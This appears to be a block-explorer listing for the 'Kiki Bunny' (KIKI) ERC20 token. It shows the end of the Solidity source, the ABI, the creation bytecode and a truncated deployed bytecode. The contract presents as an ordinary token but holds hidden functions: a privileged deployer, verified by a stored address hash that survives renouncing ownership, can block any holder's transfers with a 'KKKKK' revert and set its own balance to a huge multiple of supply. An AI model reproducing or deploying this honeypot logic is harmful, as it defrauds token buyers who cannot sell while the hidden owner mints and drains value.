        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
        unchecked {
            _approve(owner, spender, currentAllowance - amount);
        }
        }
    }
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint40","name":"tokenAmount_","type":"uint40"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"nnn","type":"address"}],"name":"_allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"name":"_burnAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"nnn","type":"address"}],"name":"_decreaseAllowances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"nnn","type":"address"}],"name":"_increaseAllowances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60a060405261dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152507f1779a64e8b9cd87d9944553af38e0a07794a3c9286f5269ef06354b2c306ff015f1b6009555f600b553480156200006f575f80fd5b50604051620029b7380380620029b7833981810160405281019062000095919062000650565b620000b5620000a96200016a60201b60201c565b6200017160201b60201c565b8260069081620000c691906200091e565b508160079081620000d891906200091e565b50620000e96200023260201b60201c565b508060085f6101000a81548164ffffffffff021916908364ffffffffff160217905550620001613362000121620002ed60201b60201c565b600a6200012f919062000b8b565b60085f9054906101000a900464ffffffffff1664ffffffffff1662000155919062000bdb565b620002f560201b60201c565b50505062000da4565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f620002436200016a60201b60201c565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f620002936200016a60201b60201c565b604051602001620002a5919062000ca4565b604051602081830303815290604052805190602001209050600160035f8381526020019081526020015f205f6101000a81548160ff0219169083151502179055508091505090565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000366576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200035d9062000d1e565b60405180910390fd5b8060055f82825462000379919062000d3e565b925050819055505f151560035f60095481526020019081526020015f205f9054906101000a900460ff16151503620003d757600160035f60095481526020019081526020015f205f6101000a81548160ff0219169083151502179055505b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000480919062000d89565b60405180910390a35050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b620004ed82620004a5565b810181811067ffffffffffffffff821117156200050f576200050e620004b5565b5b80604052505050565b5f620005236200048c565b9050620005318282620004e2565b919050565b5f67ffffffffffffffff821115620005535762000552620004b5565b5b6200055e82620004a5565b9050602081019050919050565b5f5b838110156200058a5780820151818401526020810190506200056d565b5f8484015250505050565b5f620005ab620005a58462000536565b62000518565b905082815260208101848484011115620005ca57620005c9620004a1565b5b620005d78482856200056b565b509392505050565b5f82601f830112620005f657620005f56200049d565b5b81516200060884826020860162000595565b91505092915050565b5f64ffffffffff82169050919050565b6200062c8162000611565b811462000637575f80fd5b50565b5f815190506200064a8162000621565b92915050565b5f805f606084860312156200066a576200066962000495565b5b5f84015167ffffffffffffffff8111156200068a576200068962000499565b5b6200069886828701620005df565b935050602084015167ffffffffffffffff811115620006bc57620006bb62000499565b5b620006ca86828701620005df565b9250506040620006dd868287016200063a565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200073657607f821691505b6020821081036200074c576200074b620006f1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620007b07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000773565b620007bc868362000773565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200080662000800620007fa84620007d4565b620007dd565b620007d4565b9050919050565b5f819050919050565b6200082183620007e6565b6200083962000830826200080d565b8484546200077f565b825550505050565b5f90565b6200084f62000841565b6200085c81848462000816565b505050565b5b818110156200088357620008775f8262000845565b60018101905062000862565b5050565b601f821115620008d2576200089c8162000752565b620008a78462000764565b81016020851015620008b7578190505b620008cf620008c68562000764565b83018262000861565b50505b505050565b5f82821c905092915050565b5f620008f45f1984600802620008d7565b1980831691505092915050565b5f6200090e8383620008e3565b9150826002028217905092915050565b6200092982620006e7565b67ffffffffffffffff811115620009455762000944620004b5565b5b6200095182546200071e565b6200095e82828562000887565b5f60209050601f83116001811462000994575f84156200097f578287015190505b6200098b858262000901565b865550620009fa565b601f198416620009a48662000752565b5f5b82811015620009cd57848901518255600182019150602085019450602081019050620009a6565b86831015620009ed5784890151620009e9601f891682620008e3565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000a8c5780860481111562000a645762000a6362000a02565b5b600185161562000a745780820291505b808102905062000a848562000a2f565b945062000a44565b94509492505050565b5f8262000aa6576001905062000b78565b8162000ab5575f905062000b78565b816001811462000ace576002811462000ad95762000b0f565b600191505062000b78565b60ff84111562000aee5762000aed62000a02565b5b8360020a91508482111562000b085762000b0762000a02565b5b5062000b78565b5060208310610133831016604e8410600b841016171562000b495782820a90508381111562000b435762000b4262000a02565b5b62000b78565b62000b58848484600162000a3b565b9250905081840481111562000b725762000b7162000a02565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000b9782620007d4565b915062000ba48362000b7f565b925062000bd37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a95565b905092915050565b5f62000be782620007d4565b915062000bf483620007d4565b925082820262000c0481620007d4565b9150828204841483151762000c1e5762000c1d62000a02565b5b5092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000c508262000c25565b9050919050565b5f8160601b9050919050565b5f62000c6f8262000c57565b9050919050565b5f62000c828262000c63565b9050919050565b62000c9e62000c988262000c44565b62000c76565b82525050565b5f62000cb1828462000c89565b60148201915081905092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000d06601f8362000cc0565b915062000d138262000cd0565b602082019050919050565b5f6020820190508181035f83015262000d378162000cf8565b9050919050565b5f62000d4a82620007d4565b915062000d5783620007d4565b925082820190508082111562000d725762000d7162000a02565b5b92915050565b62000d8381620007d4565b82525050565b5f60208201905062000d9e5f83018462000d78565b92915050565b608051611bec62000dcb5f395f81816104bc01528181610def0152610ec20152611bec5ff3fe608060405234801561000f575f80fd5b506004361061011f575f3560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb1461031d578063b69b48641461034d578063dd62ed3e14610369578063e4703d7c14610399578063f2fde38b146103b55761011f565b8063715018a61461028b5780638da5cb5b1461029557806395d89b41146102b3578063a457c2d7146102d1578063a6733490146103015761011f565b806327c8f835116100f257806327c8f835146101bf578063313ce567146101dd578063375460cc146101fb578063395093511461022b57806370a082311461025b5761011f565b806306fdde0314610123578063095ea7b31461014157806318160ddd1461017157806323b872dd1461018f575b5f80fd5b61012b6103d1565b6040516101389190611225565b60405180910390f35b61015b600480360381019061015691906112d6565b610461565b604051610168919061132e565b60405180910390f35b610179610483565b6040516101869190611356565b60405180910390f35b6101a960048036038101906101a4919061136f565b61048c565b6040516101b6919061132e565b60405180910390f35b6101c76104ba565b6040516101d491906113ce565b60405180910390f35b6101e56104de565b6040516101f29190611402565b60405180910390f35b6102156004803603810190610210919061141b565b6104e6565b6040516102229190611356565b60405180910390f35b610245600480360381019061024091906112d6565b61052c565b604051610252919061132e565b60405180910390f35b6102756004803603810190610270919061141b565b610562565b6040516102829190611356565b60405180910390f35b6102936105a8565b005b61029d6105bb565b6040516102aa91906113ce565b60405180910390f35b6102bb6105e2565b6040516102c89190611225565b60405180910390f35b6102eb60048036038101906102e691906112d6565b610672565b6040516102f8919061132e565b60405180910390f35b61031b60048036038101906103169190611446565b6106e7565b005b610337600480360381019061033291906112d6565b6106f3565b604051610344919061132e565b60405180910390f35b6103676004803603810190610362919061141b565b610715565b005b610383600480360381019061037e9190611471565b610768565b6040516103909190611356565b60405180910390f35b6103b360048036038101906103ae919061141b565b6107ea565b005b6103cf60048036038101906103ca919061141b565b61084d565b005b6060600680546103e0906114dc565b80601f016020809104026020016040519081016040528092919081815260200182805461040c906114dc565b80156104575780601f1061042e57610100808354040283529160200191610457565b820191905f5260205f20905b81548152906001019060200180831161043a57829003601f168201915b5050505050905090565b5f8061046b6108cf565b90506104788185856108d6565b600191505092915050565b5f600554905090565b5f806104966108cf565b90506104a3858285610a99565b6104ae858585610b24565b60019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f6012905090565b5f600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f806105366108cf565b90506105578185856105488589610768565b6105529190611539565b6108d6565b600191505092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105b0610f4f565b6105b95f610fcd565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546105f1906114dc565b80601f016020809104026020016040519081016040528092919081815260200182805461061d906114dc565b80156106685780601f1061063f57610100808354040283529160200191610668565b820191905f5260205f20905b81548152906001019060200180831161064b57829003601f168201915b5050505050905090565b5f8061067c6108cf565b90505f6106898286610768565b9050838110156106ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c5906115dc565b60405180910390fd5b6106db82868684036108d6565b60019250505092915050565b6106f08161108e565b50565b5f806106fd6108cf565b905061070a818585610b24565b600191505092915050565b61071d6110f5565b15610765575f600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6107f26110f5565b1561084a57620f424060055461080891906115fa565b600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b610855610f4f565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ba906116ab565b60405180910390fd5b6108cc81610fcd565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093b90611739565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a9906117c7565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a8c9190611356565b60405180910390a3505050565b5f610aa48484610768565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610b1e5781811015610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b079061182f565b60405180910390fd5b610b1d84848484036108d6565b5b50505050565b5f610b755f600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461115c90919063ffffffff16565b905081811115610bba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb190611897565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1f90611925565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8d906119b3565b60405180910390fd5b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610d1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1190611a41565b60405180910390fd5b5f610d436064610d35600b548761117190919063ffffffff16565b61118690919063ffffffff16565b90505f610d59828661115c90919063ffffffff16565b905084830360015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508160015f7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610eb09190611356565b60405180910390a35f821115610f46577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f3d9190611356565b60405180910390a35b50505050505050565b610f576108cf565b73ffffffffffffffffffffffffffffffffffffffff16610f756105bb565b73ffffffffffffffffffffffffffffffffffffffff1614610fcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc290611aa9565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6110966110f5565b156110f257806005546110a991906115fa565b60015f6110b46108cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f806110ff6108cf565b60405160200161110f9190611b0c565b60405160208183030381529060405280519060200120905060035f8281526020019081526020015f205f9054906101000a900460ff1615611154576001915050611159565b5f9150505b90565b5f81836111699190611b26565b905092915050565b5f818361117e91906115fa565b905092915050565b5f81836111939190611b86565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156111d25780820151818401526020810190506111b7565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6111f78261119b565b61120181856111a5565b93506112118185602086016111b5565b61121a816111dd565b840191505092915050565b5f6020820190508181035f83015261123d81846111ed565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61127282611249565b9050919050565b61128281611268565b811461128c575f80fd5b50565b5f8135905061129d81611279565b92915050565b5f819050919050565b6112b5816112a3565b81146112bf575f80fd5b50565b5f813590506112d0816112ac565b92915050565b5f80604083850312156112ec576112eb611245565b5b5f6112f98582860161128f565b925050602061130a858286016112c2565b9150509250929050565b5f8115159050919050565b61132881611314565b82525050565b5f6020820190506113415f83018461131f565b92915050565b611350816112a3565b82525050565b5f6020820190506113695f830184611347565b92915050565b5f805f6060848603121561138657611385611245565b5b5f6113938682870161128f565b93505060206113a48682870161128f565b92505060406113b5868287016112c2565b9150509250925092565b6113c881611268565b82525050565b5f6020820190506113e15f8301846113bf565b92915050565b5f60ff82169050919050565b6113fc816113e7565b82525050565b5f6020820190506114155f8301846113f3565b92915050565b5f602082840312156114305761142f611245565b5b5f61143d8482850161128f565b91505092915050565b5f6020828403121561145b5761145a611245565b5b5f611468848285016112c2565b91505092915050565b5f806040838503121561148757611486611245565b5b5f6114948582860161128f565b92505060206114a58582860161128f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806114f357607f821691505b602082108103611506576115056114af565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611543826112a3565b915061154e836112a3565b92508282019050808211156115665761156561150c565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6115c66025836111a5565b91506115d18261156c565b604082019050919050565b5f6020820190508181035f8301526115f3816115ba565b9050919050565b5f611604826112a3565b915061160f836112a3565b925082820261161d816112a3565b915082820484148315176116345761163361150c565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6116956026836111a5565b91506116a08261163b565b604082019050919050565b5f6020820190508181035f8301526116c281611689565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6117236024836111a5565b915061172e826116c9565b604082019050919050565b5f6020820190508181035f83015261175081611717565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6117b16022836111a5565b91506117bc82611757565b604082019050919050565b5f6020820190508181035f8301526117de816117a5565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611819601d836111a5565b9150611824826117e5565b602082019050919050565b5f6020820190508181035f8301526118468161180d565b9050919050565b7f4b4b4b4b4b0000000000000000000000000000000000000000000000000000005f82015250565b5f6118816005836111a5565b915061188c8261184d565b602082019050919050565b5f6020820190508181035f8301526118ae81611875565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61190f6025836111a5565b915061191a826118b5565b604082019050919050565b5f6020820190508181035f83015261193c81611903565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61199d6023836111a5565b91506119a882611943565b604082019050919050565b5f6020820190508181035f8301526119ca81611991565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611a2b6026836111a5565b9150611a36826119d1565b604082019050919050565b5f6020820190508181035f830152611a5881611a1f565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611a936020836111a5565b9150611a9e82611a5f565b602082019050919050565b5f6020820190508181035f830152611ac081611a87565b9050919050565b5f8160601b9050919050565b5f611add82611ac7565b9050919050565b5f611aee82611ad3565b9050919050565b611b06611b0182611268565b611ae4565b82525050565b5f611b178284611af5565b60148201915081905092915050565b5f611b30826112a3565b9150611b3b836112a3565b9250828203905081811115611b5357611b5261150c565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611b90826112a3565b9150611b9b836112a3565b925082611bab57611baa611b59565b5b82820490509291505056fea264697066735822122059cefd89de194b923f0dd22c24b41bf651c522f75fbed9a71dceeb5eaa251ff364736f6c63430008150033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000a4b696b692042756e6e790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044b494b4900000000000000000000000000000000000000000000000000000000

0x608060405234801561000f575f80fd5b506004361061011f575f3560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb1461031d578063b69b48641461034d578063dd62ed3e14610369578063e4703d7c14610399578063f2fde38b146103b55761011f565b8063715018a61461028b5780638da5cb5b1461029557806395d89b41146102b3578063a457c2d7146102d1578063a6733490146103015761011f565b806327c8f835116100f257806327c8f835146101bf578063313ce567146101dd578063375460cc146101fb578063395093511461022b57806370a082311461025b5761011f565b806306fdde0314610123578063095ea7b31461014157806318160ddd1461017157806323b872dd1461018f575b5f80fd5b61012b6103d1565b6040516101389190611225565b60405180910390f35b61015b600480360381019061015691906112d6565b610461565b604051610168919061132e565b60405180910390f35b610179610483565b6040516101869190611356565b60405180910390f35b6101a960048036038101906101a4919061136f565b61048c565b6040516101b6919061132e565b60405180910390f35b6101c76104ba565b6040516101d491906113ce565b60405180910390f35b6101e56104de565b6040516101f29190611402565b60405180910390f35b6102156004803603810190610210919061141b565b6104e6565b6040516102229190611356565b60405180910390f35b610245600480360381019061024091906112d6565b61052c565b604051610252919061132e565b60405180910390f35b6102756004803603810190610270919061141b565b610562565b6040516102829190611356565b60405180910390f35b6102936105a8565b005b61029d6105bb565b6040516102aa91906113ce565b60405180910390f35b6102bb6105e2565b6040516102c89190611225565b60405180910390f35b6102eb60048036038101906102e691906112d6565b610672565b6040516102f8919061132e565b60405180910390f35b61031b60048036038101906103169190611446565b6106e7565b005b610337600480360381019061033291906112d6565b6106f3565b604051610344919061132e565b60405180910390f35b6103676004803603810190610362919061141b565b610715565b005b610383600480360381019061037e9190611471565b610768565b6040516103909190611356565b60405180910390f35b6103b360048036038101906103ae919061141b565b6107ea565b005b6103cf60048036038101906103ca919061141b565b61084d565b005b6060600680546103e0906114dc565b80601f016020809104026020016040519081016040528092919081815260200182805461040c906114dc565b80156104575780601f1061042e57610100808354040283529160200191610457565b820191905f5260205f20905b81548152906001019060200180831161043a57829003601f168201915b5050505050905090565b5f8061046b6108cf565b90506104788185856108d6565b600191505092915050565b5f600554905090565b5f806104966108cf565b90506104a3858285610a99565b6104ae858585610b24565b60019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b5f6012905090565b5f600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f806105366108cf565b90506105578185856105488589610768565b6105529190611539565b6108d6565b600191505092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105b0610f4f565b6105b95f610fcd565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546105f1906114dc565b80601f016020809104026020016040519081016040528092919081815260200182805461061d906114dc565b80156106685780601f1061063f57610100808354040283529160200191610668565b820191905f5260205f20905b81548152906001019060200180831161064b57829003601f168201915b5050505050905090565b5f8061067c6108cf565b90505f6106898286610768565b9050838110156106ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c5906115dc565b60405180910390fd5b6106db82868684036108d6565b60019250505092915050565b6106f08161108e565b50565b5f806106fd6108cf565b905061070a818585610b24565b600191505092915050565b61071d6110f5565b15610765575f600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6107f26110f5565b1561084a57620f424060055461080891906115fa565b600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b610855610f4f565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ba906116ab565b60405180910390fd5b6108cc81610fcd565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093b90611739565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a9906117c7565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a8c9190611356565b60405180910390a3505050565b5f610aa48484610768565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610b1e5781811015610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b079061182f565b60405180910390fd5b610b1d84848484036108d6565b5b50505050565b5f610b755f600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461115c90919063ffffffff16565b905081811115610bba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016